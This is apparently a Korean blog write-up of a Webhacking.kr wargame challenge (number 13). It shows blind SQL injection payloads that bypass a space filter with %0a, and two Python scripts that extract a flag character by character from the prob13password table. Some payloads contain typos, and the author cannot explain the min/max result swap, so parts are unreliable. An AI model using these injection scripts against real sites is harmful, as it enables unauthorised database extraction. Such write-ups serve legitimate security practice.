첫화면은 제출과 Auth로 나누어 져 있다.

우선 1을 넣어보니 1값이 나온다.

그리고 2는 0이 나오고 여러 값들은 다 0이 나온다.

그래서 1 or 2를 넣어보니

no hack가 뜬다.

1or2를 넣으면 0이 나오는 데 띄워쓰기를 안하면 안먹히는 것 같다.

소스는 별 다를 게 없다.

그래서 %0a로 띄워쓰기를 우회 하니 or 가 먹힌다.



select 또한 0으로 나오는 것으로 봐서는

필터링은 안되어 있는 것 같다.

우선 flag의 갯수를 알아보니 위하여 count로 flag의 갯수 1로 넣어보니

0이 나온다. 아니라는 뜻 인것 같다,

그런데 2에서 1이 나오는 것으로 봐서는 2개가 flag 값으로 있는 것 같다.

그래서

no=if((select%0amin(lenght(flag))%0aprob13password%0a)in%0a(4),1,0)에서 4 자리에 계속 숫자를 넣다보니

짧은 flag는 4자리에서 나왔다.

반대로



no=if((select%0amax(lenght(flag))%0aprob13password%0a)in%0a(20),1,0)

에서 긴 자리의 flag가 나왔다.

import urllib.request

import re


if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(33,97)]

    head = {'Cookie':'PHPSESSID=내 쿠키'}

    for i in range(1,21):

        for j in code:

            print(i,"-->",chr(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-10/index.php?no=if(substr((select%0amax(flag)%0afrom%0aprob13password),"+str(i)+",1)in%0a("+hex(j)+"),1,0)",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("<td>1</td>",data)

            if find:

                print("max length character :",i,":",chr(j))

                answer += chr(j)

                break;

            if j == 96:

                i=22

                key = False

        if key == False:

            break                

            

    print(answer)

이렇게 max로 코드를 짜서 

파이썬으로 돌려보면

이렇게 이상하게 4자리가 계속 나온다.


반대로

import urllib.request

import re


if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(33,97)]

    head = {'Cookie':'PHPSESSID=내 쿠키'}

    for i in range(1,21):

        for j in code:

            print(i,"-->",chr(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-10/index.php?no=if(substr((select%0amin(flag)%0afrom%0aprob13password),"+str(i)+",1)in%0a("+hex(j)+"),1,0)",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("<td>1</td>",data)

            if find:

                print("max length character :",i,":",chr(j))

                answer += chr(j)

                break;

            if j == 96:

                i=22

                key = False

        if key == False:

            break                

     print(answer)

이렇게 min으로 짜주면

max값이 나온다.

그 이유는 알수가 없다.

하지만 긴 flag값을 인증하면

13번도 클리어!!!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 34번  (0) 2018.01.26
Webhacking.kr 9번  (0) 2018.01.26
Webhacking.kr 43번  (0) 2018.01.25
Webhacking.kr 49번  (0) 2018.01.19
Webhacking.kr 53번  (0) 2018.01.18

+ Recent posts